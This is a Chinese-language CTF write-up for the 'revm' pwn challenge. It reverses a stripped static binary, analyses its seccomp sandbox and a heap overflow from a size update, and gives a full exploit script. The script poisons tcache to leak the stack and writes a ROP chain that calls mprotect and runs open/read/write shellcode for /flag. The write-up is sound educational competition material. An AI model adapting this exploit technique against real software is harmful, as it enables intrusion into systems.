qgb-2022-final-pwn-revm

REVM

总结

这是一道很简单的题目,但是我也学到了很多!(虽然比赛时失误没看到return导致打栈地址失败),收获如下:

  • 静态编译没符号可以使用导入sig文件或者bindiff一个对应版本的glibc

  • 堆题orw的方法梳理了一遍:

    • hook + gadget + rop
    • fsop + gadget + rop
    • env + rop
  • 没符号怎么找_IO_file_plus:gdb内按c然后ctrl + c然后看寄存器

  • 但main多分支不一定会进入到__libc_start_main压入的返回地址的时候,要观察main函数内有没有return。只有在调用return才会执行__libc_start_main压入的返回地址(我就是没注意到这一点tmd,可恶)

    image-20221230190328412

总的来说这道题很简单,但是呃呃去掉了各种gadget,搞得我以为有啥trick,搜了半天浪费了大量时间(毕竟是无符号),然后打栈返回地址的时候还没调用F分支...以为无法打...但是赛后就马上出了tmd,算了,还是sleep吧!

题目分析

IDA打开就是一坨大便,但是我们可以导入sig修复,虽然...一个关键的函数都没修复好

image-20221225170844023

自己手动改了一些,发现还是看不太懂...但是导入sig后有个非常经典的菜单,如下:
image-20221225170950437

此时不知道怎么搞,直接开调,得到一个正则表达式:

image-20221225171125851

输入符合格式的数据,继续调试,得出以下格式:

#'(\\w):(\\d+):(\\d+):(\\d+)'
#chunk_arr 0x83B840

#A:idx:size:unknow
def add(idx,size,fxxk= 0):
    sla('Cmd:','A:' + str(idx) + ':' + str(size) + ':' + str(fxxk))

#B:idx:size1<size:a_bit
def edit(idx,size,cont):
    sla('Cmd:','B:' + str(idx) + ':' + str(size) + ':' + str(cont))

#C:idx:   show chunk_cont
def show(idx):
    sla('Cmd:','C:' + str(idx) + ':' + str(0) + ':0')

#D:idx
def free(idx):
    sla('Cmd:','D:' + str(idx) + ':' + str(0) + ':0')

逆向分析

  • 关键结构体

    本题操作的结构体如下:

    typedef struct pwn
    {
    	void *chunk_prt;
    	unsigned __int64 size;
    	unsigned __int64 key;(不知道有啥用,但是不影响)
    }fxxk;
    
  • 沙盒

image-20221225172300074

$ seccomp-tools dump ./revm
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x11 0xc000003e  if (A != ARCH_X86_64) goto 0019
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x0f 0x00 0x40000000  if (A >= 0x40000000) goto 0019
 0004: 0x15 0x0d 0x00 0x00000001  if (A == write) goto 0018
 0005: 0x15 0x0c 0x00 0x00000000  if (A == read) goto 0018
 0006: 0x15 0x0b 0x00 0x00000025  if (A == alarm) goto 0018
 0007: 0x15 0x0a 0x00 0x0000000a  if (A == mprotect) goto 0018
 0008: 0x15 0x09 0x00 0x00000002  if (A == open) goto 0018
 0009: 0x15 0x08 0x00 0x000000ca  if (A == futex) goto 0018
 0010: 0x15 0x07 0x00 0x0000000e  if (A == rt_sigprocmask) goto 0018
 0011: 0x15 0x06 0x00 0x00000009  if (A == mmap) goto 0018
 0012: 0x15 0x05 0x00 0x00000014  if (A == writev) goto 0018
 0013: 0x15 0x04 0x00 0x00000101  if (A == openat) goto 0018
 0014: 0x15 0x03 0x00 0x0000000c  if (A == brk) goto 0018
 0015: 0x15 0x02 0x00 0x00000003  if (A == close) goto 0018
 0016: 0x15 0x01 0x00 0x0000003c  if (A == exit) goto 0018
 0017: 0x06 0x00 0x00 0x00050005  return ERRNO(5)
 0018: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0019: 0x06 0x00 0x00 0x00000000  return KILL

可以看到orw就可以了

  • ADD分支

image-20221225171909274

可以看出逻辑是往对应的结构体数组放入size,然后再malloc一个chunk,然后检查size,若size过大则free这个chunk,若size合适,则放入结构体数组中。

本题的漏洞也出现在这里

我们可以先add一个合适的chunk,然后再add一个非法size的chunk,此时结构体内的chunk指针不变,但是size变大了,可以利用edit来溢出修改了。

  • EDIT分支

image-20221225171403094

在比size小的一个偏移处修改一个字节

  • SHOW分支

image-20221225171412339

没啥好说的

  • DELETE分支

image-20221225171422717

没有uaf

漏洞利用

首先看heap是个难题,我使用观察结构体数组的方式查看heap

tele 0x83B840
#chunk_arr 0x83B840

因为开了沙盒优先考虑打栈迁移,有以下思路:

  • __free_hook + setcontext + 53
  • __free_hook + svcudp_reply+26
  • FSOP
    • house of applp2栈迁移

(遗憾的是以上思路亲测无效,而且浪费我大量时间)

  • 打栈地址(正解)

然后通过bindiff一顿search -p 找到以下关键地址:

0x839560、0x839780: fp_stderr 与 fp_stdin: 
0x50d3ba:exit刷新流的操作的关键步骤,断在这里按几次c可以看刷新流
0x83af58:_IO_wfile_vtable
0x8434F8:free_hook
0x568740:mprotect
0x844ba0:env 

但是hook打不了,因为是C++,亲测在修改完一个字节后程序会dump(因为用了free),所以我打算打栈地址

详细见EXP

EXP

#!/usr/bin/env python3

'''
Author: 7resp4ss
Date: 2022-12-24 11:01:53
LastEditTime: 2022-12-25 17:39:43
Description: 
'''

from pwncli import *
from struct import pack
cli_script()

io = gift["io"]
elf = gift["elf"]
libc = ELF("./libc-2.27.so")

filename  = gift.filename # current filename
is_debug  = gift.debug # is debug or not 
is_remote = gift.remote # is remote or not
gdb_pid   = gift.gdb_pid # gdb pid if debug


#'(\\w):(\\d+):(\\d+):(\\d+)'
#chunk_arr 0x83B840

#A:idx:size:unknow
def add(idx,size,fxxk= 0):
    sla('Cmd:','A:' + str(idx) + ':' + str(size) + ':' + str(fxxk))

#B:idx:size1<size:a_bit
def edit(idx,size,cont):
    sla('Cmd:','B:' + str(idx) + ':' + str(size) + ':' + str(cont))

#C:idx:   show chunk_cont
def show(idx):
    sla('Cmd:','C:' + str(idx) + ':' + str(0) + ':0')

#D:idx
def free(idx):
    sla('Cmd:','D:' + str(idx) + ':' + str(0) + ':0')


#_IO_list_all = p64(0x83be20)
_IO_2_1_stderr_ = p64(0x839560)
mpt = 0x568740
#chunk_arr 0x83B840
#malloc b 0x405B3D
#edit 0x405AD5
#free 0x405A4C 
#env 0x844ba0

env = p64(0x844ba0)

add(0,0x250)
add(1,0x250)
add(2,0x250)
add(3,0x250)
add(4,0x250)
free(2)
free(1)
add(0,0x1000)

for i in range(4):
    edit(0,0x250 + 0x10 + i,u64_ex(env[i:i+1]))

add(1,0x250)
add(2,0x250) #env
show(2)

leak_stack = recv_current_libc_addr()
log_address_ex2(leak_stack)
targe_stack = leak_stack - 0x120
log_address_ex2(targe_stack)
mpro_stack = targe_stack&~(0xfff)
free(3)
free(1)

targe_stack = p64(targe_stack)
for i in range(len(targe_stack)):
    edit(0,0x250 + 0x10 + i,u64_ex(targe_stack[i:i+1]))

add(1,0x250)
add(3,0x250) #targe_stack
'''
0x000000000040564f : pop rax ; ret
0x0000000000405fe6 : pop rdi ; ret
0x00000000004edea9 : pop rdx ; pop rsi ; ret
0x00000000004ede83 : pop rcx ; ret
#define __NR_mprotect 10
0x0000000000425cbf : syscall
 ► 0x405650    ret    <0x405fe6>

'''

pd = flat(
    {
        0x0:
        [

            0x0000000000405fe6,
            mpro_stack,
            0x00000000004edea9,
            7,
            0x9000,
            mpt,
            u64_ex(targe_stack)+0x100,
        ],
        0x100:[
            asm(shellcraft.amd64.open('/flag')),
            asm(shellcraft.amd64.read(3,u64_ex(targe_stack)+0x200,0x100)),
            asm(shellcraft.amd64.write(1,u64_ex(targe_stack)+0x200,0x100))
        ]

    }
)

for i in range(len(pd)):
    edit(3,0x0+i,u64_ex(pd[i:i+1]))


sl('F:0:0:0')
io.interactive()
posted @ 2022-12-30 19:06  7resp4ss  阅读(69)  评论(0编辑  收藏  举报